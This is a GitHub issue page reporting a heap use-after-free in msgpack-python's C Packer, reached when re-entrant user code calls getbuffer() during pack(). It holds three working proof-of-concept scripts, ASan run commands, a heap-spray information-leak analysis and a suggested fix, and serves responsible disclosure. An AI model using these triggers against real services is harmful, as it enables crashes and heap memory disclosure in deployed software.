Title: Packer use-after-free via re-entrant `getbuffer()` during `pack()` · Issue #769 · msgpack/msgpack-python · GitHub
Open Graph Title: Packer use-after-free via re-entrant `getbuffer()` during `pack()` · Issue #769 · msgpack/msgpack-python
X Title: Packer use-after-free via re-entrant `getbuffer()` during `pack()` · Issue #769 · msgpack/msgpack-python
Description: Reported as a correctness bug Summary Packer runs user-controlled code in the middle of a pack() call, and that code can call getbuffer() to export the packer's internal buffer as a memoryview. If packing then continues and grows the buf...
Open Graph Description: Reported as a correctness bug Summary Packer runs user-controlled code in the middle of a pack() call, and that code can call getbuffer() to export the packer's internal buffer as a memoryview. If ...
X Description: Reported as a correctness bug Summary Packer runs user-controlled code in the middle of a pack() call, and that code can call getbuffer() to export the packer's internal buffer as a memoryview....
Opengraph URL: https://github.com/msgpack/msgpack-python/issues/769
X: @github
Domain: redirect.github.com
IPv4 address: 140.82.113.4
{"@context":"https://schema.org","@type":"DiscussionForumPosting","headline":"Packer use-after-free via re-entrant `getbuffer()` during `pack()`","articleBody":"Reported as a correctness bug \n### Summary\n\n`Packer` runs user-controlled code in the middle of a `pack()` call, and that code can\ncall `getbuffer()` to export the packer's internal buffer as a memoryview. If packing then\ncontinues and grows the buffer, the growth reallocates it and frees the block the exported\nmemoryview still points at. Reading the memoryview afterwards is a heap use-after-free.\n\nThe guard meant to prevent this, `_check_exports()`, only runs at the entry of each public\nmethod. It never runs again during the recursive pack, so an export created partway through\nis invisible to it.\n\n## Affected version\n\n `msgpack._cmsgpack` (the C extension), class `Packer`.\n- HEAD `8a88e3d` (post-1.2.4); also reproduced on 1.2.2.\n- The pure-Python fallback is not affected: its buffer is a Python object, so an exported\n view is not invalidated by a reallocation.\n\n### Details\n\nThe internal grow path is `msgpack_pack_write` in `pack.h`, which calls `PyMem_Realloc`\n(the free site). `getbuffer()` returns a memoryview backed by the raw buffer pointer and a\nlength captured at call time. There is no mechanism tying that export's lifetime to the\nbuffer, and `_check_exports()` is an entry-only check rather than an invariant held across\nthe pack.\n\nUser code runs mid-pack in at least three places, and the export can be created from any of\nthem:\n\n1. The `default` callback. This is the originally reported path (issue #733).\n2. `pack_map_pairs(obj)`, whose `for k, v in obj` loop runs `obj.__iter__` / `obj.__len__`.\n3. `pack(o)` where `o` is a `dict` or `list` subclass: `_pack_inner` runs `o.items()` or\n iterates `o`.\n\n### The proposed fix (PR #735) is incomplete\n\nPR #735 adds one `_check_exports()` call in `_pack`, after the `default` callback returns.\nThat closes path 1 only. Paths 2 and 3 never execute that branch, so the use-after-free\nstill reproduces with #735 applied. Path 3 is a plain `pack()` of a dict, the most ordinary\ncall there is.\n\n### Proof of concept\n\nBuild the extension with AddressSanitizer and run the PoCs:\n\n```\n./build.sh # builds ASan+UBSan extension into .venv-asan\n./run.sh poc_f6.py # path 1: default callback\n./run.sh poc_f9_pack_map_pairs.py # path 2: pack_map_pairs\n./run.sh poc_f9_dict_subclass.py # path 3: plain pack() of a dict subclass\n```\n\npoc_f6.py\n```python\n# F6: Packer heap-UAF via re-entrant default= callback. Expect ASan heap-use-after-free.\nimport msgpack\nleaked = []\nclass Unsupported: pass\ndef default(o):\n leaked.append(p.getbuffer()) # export a live view mid-pack\n return b\"A\" * (2 * 1024 * 1024) # big value -> realloc frees the view's buffer\np = msgpack.Packer(default=default, autoreset=False)\np.pack([Unsupported()])\nprint(bytes(leaked[0])[:16]) # read through freed pointer\n```\n\u003cimg width=\"1593\" height=\"911\" alt=\"image\" src=\"https://github.com/user-attachments/assets/938d686e-0550-43c9-85dc-9a4236c0aa0f\" />\n\n\u003cimg width=\"1484\" height=\"949\" alt=\"image\" src=\"https://github.com/user-attachments/assets/5352fd81-11f3-40fe-ac24-c8f8a59cce07\" />\n\npoc_f9_pack_map_pairs.py\n```python\n# F9: same UAF via plain pack() of a dict subclass whose items() re-enters.\nimport msgpack\np = msgpack.Packer(autoreset=False)\np.pack(b\"prefix-content\")\nleaked = []\nclass EvilDict(dict):\n def items(self):\n leaked.append(p.getbuffer())\n return [(b\"k\", b\"V\" * (4 * 1024 * 1024))]\np.pack(EvilDict({b\"x\": 1}))\nprint(bytes(leaked[0])[:16])\n```\n\u003cimg width=\"1393\" height=\"788\" alt=\"image\" src=\"https://github.com/user-attachments/assets/a30e34d6-eaa0-4e7f-8ef1-d632acd1a264\" />\n\n\u003cimg width=\"1622\" height=\"943\" alt=\"image\" src=\"https://github.com/user-attachments/assets/2bed1794-8c2b-450b-b2c0-b03daded589f\" />\n\n\n\nPath 3, the shortest trigger:\npoc_f9_dict_subclass.py\n\n```python\n# F9: same UAF, reached via pack_map_pairs iteration (NOT the default path #735 patches).\nimport msgpack\np = msgpack.Packer(autoreset=False)\np.pack(b\"prefix-content-to-make-buffer-nonempty\")\nleaked = []\nclass EvilPairs:\n def __len__(self): return 1\n def __iter__(self):\n leaked.append(p.getbuffer())\n yield (b\"k\", b\"V\" * (4 * 1024 * 1024))\np.pack_map_pairs(EvilPairs())\nprint(bytes(leaked[0])[:16])\n```\n\u003cimg width=\"1214\" height=\"829\" alt=\"image\" src=\"https://github.com/user-attachments/assets/4fc11b7c-d629-40b4-8834-7815fb787f33\" />\n\n\u003cimg width=\"1581\" height=\"943\" alt=\"image\" src=\"https://github.com/user-attachments/assets/3f56191e-d038-4cc0-9755-8923643ae3f3\" />\n\nAddressSanitizer reports `heap-use-after-free`, a READ inside `PyBuffer_ToContiguous`,\nfreed by `realloc` in `msgpack_pack_write` at `pack.h:47`. Paths 1, 2, and 3 each show a\ndistinct free-site frame (`default` branch, `pack_map_pairs`, and `_pack_inner` dict\niteration respectively), confirming they are separate routes to the same corruption.\n\nA negative control (a re-entrant iterator that does not call `getbuffer()`) runs clean, so\nthe export is the trigger, not the re-entrancy alone.\n\n### Impact\n\nAlways a reliable crash. Whether it becomes an information leak depends on the buffer's\nsize class. With a small `buf_size`, the freed chunk returns to a glibc bin, so spraying\nsame-size `bytes` objects between the free and the read lets the stale view read back\nattacker-adjacent heap content (a canary reappeared 122 times, consistent across five\nruns). At the default 256KB `buf_size` the freed region heads toward unmapped memory and\nthe read segfaults, so there it stays a crash. The exported view is read-only and the\nlibrary only writes through the new pointer, so there is no write primitive.\n\n## Suggested fix\n\nMake \"no live export during a pack\" an invariant instead of patching call sites one at a\ntime. Either refuse the realloc while `exports > 0`, or set a flag for the duration of any\npack and have `__getbuffer__` refuse to export while it is set. The Unpacker already does\nthe latter with its `_unpacking` flag: it is set for the whole parse, including while decode\nhooks run, and every buffer-touching entry point checks it. Copying that pattern closes all\nthree paths at once.\n\n## References\n\n- Issue #733 (the default-callback path)\n- PR #735 (proposed fix, closes only the default-callback path)\n- PR #739 (earlier fix attempt, closed unmerged)","author":{"url":"https://github.com/AmirWilayah","@type":"Person","name":"AmirWilayah"},"datePublished":"2026-11-05T10:30:10Z","url":"https://github.com/msgpack/msgpack-python/issues/769"}
| react-profiling | 0 |
| react-import-map | react,react-dom,react-dom/client,react-dom/profiling,react-is,react/compiler-runtime,react/jsx-dev-runtime,react/jsx-runtime,scheduler@b8488ee2c322 |
| route-pattern | /_view_fragments/issues/show/:user_id/:repository/:id/issue_layout(.:format) |
| route-controller | voltron_issues_fragments |
| route-action | issue_layout |
| fetch-nonce | v2:29db3824-28b8-3845-024f-527a9c77ac7f |
| current-catalog-service-hash | 81bb79d38c15960b92d99bca9288a9108c7a47b18f2423d0f6438c5b7bcd2114 |
| request-id | A554:BD75D:5E6E8D:817C9F:6B07535C |
| html-safe-nonce | df40e08340534ebf4ecbf19d323672386d232bda763d508419f33e35d856e007 |
| visitor-payload | eyJyZWZlcnJlciI6IiIsInJlcXVlc3RfaWQiOiJBNTU0OkJENzVEOjVFNkU4RDo4MTdDOUY6NkIwNzUzNUMiLCJ2aXNpdG9yX2lkIjoiNzA4ODIwMjk0NjY1MTMxMjk4OCIsInJlZ2lvbl9lZGdlIjoiaWFkIiwicmVnaW9uX3JlbmRlciI6ImlhZCJ9 |
| visitor-hmac | 269e0fa5c39cf7834dd591ba19f9d7c65d80c6114f8da26ded0fa2daae592920 |
| hovercard-subject-tag | issue:6221399433 |
| github-keyboard-shortcuts | repository,issues,copilot |
| google-site-verification | Apib7-x98H0j5cPqHWwSMm6dNU4GmODRoqxLiDzdx9I |
| octolytics-url | https://collector.github.com/github/collect |
| analytics-location | / |
| fb:app_id | 1401488693436528 |
| apple-itunes-app | app-id=1477376905, app-argument=https://github.com/_view_fragments/issues/show/msgpack/msgpack-python/769/issue_layout |
| twitter:image | https://opengraph.githubassets.com/c3bad5a4e16b10964750f05a8ab45000103853919ea7513eccc93b38c14ab223/msgpack/msgpack-python/issues/769 |
| twitter:card | summary_large_image |
| og:image | https://opengraph.githubassets.com/c3bad5a4e16b10964750f05a8ab45000103853919ea7513eccc93b38c14ab223/msgpack/msgpack-python/issues/769 |
| og:image:alt | Reported as a correctness bug Summary Packer runs user-controlled code in the middle of a pack() call, and that code can call getbuffer() to export the packer's internal buffer as a memoryview. If ... |
| og:image:width | 1200 |
| og:image:height | 600 |
| og:site_name | GitHub |
| og:type | object |
| og:author:username | AmirWilayah |
| hostname | github.com |
| expected-hostname | github.com |
| None | 663b1a69a41309856ffd9403fa5b764f6c0f78a39a0a8f75fb2c205c96a947be |
| turbo-cache-control | no-preview |
| go-import | github.com/msgpack/msgpack-python git https://github.com/msgpack/msgpack-python.git |
| octolytics-dimension-user_id | 198264 |
| octolytics-dimension-user_login | msgpack |
| octolytics-dimension-repository_id | 2242705 |
| octolytics-dimension-repository_nwo | msgpack/msgpack-python |
| octolytics-dimension-repository_public | true |
| octolytics-dimension-repository_is_fork | false |
| octolytics-dimension-repository_network_root_id | 2242705 |
| octolytics-dimension-repository_network_root_nwo | msgpack/msgpack-python |
| turbo-body-classes | logged-out env-production page-responsive |
| disable-turbo | false |
| browser-stats-url | https://api.github.com/_private/browser/stats |
| browser-errors-url | https://api.github.com/_private/browser/errors |
| release | effa2c0a160a75bd95d9ffcc6320197d7aea0d83 |
| ui-target | full |
| theme-color | #1e2327 |
| color-scheme | light dark |
| react-app-name | issues |
Links:
| Server | github.com |
| Content-Type | text/html; charset=utf-8 |
| Cache-Control | max-age=0, private, must-revalidate |
Viewport: width=device-width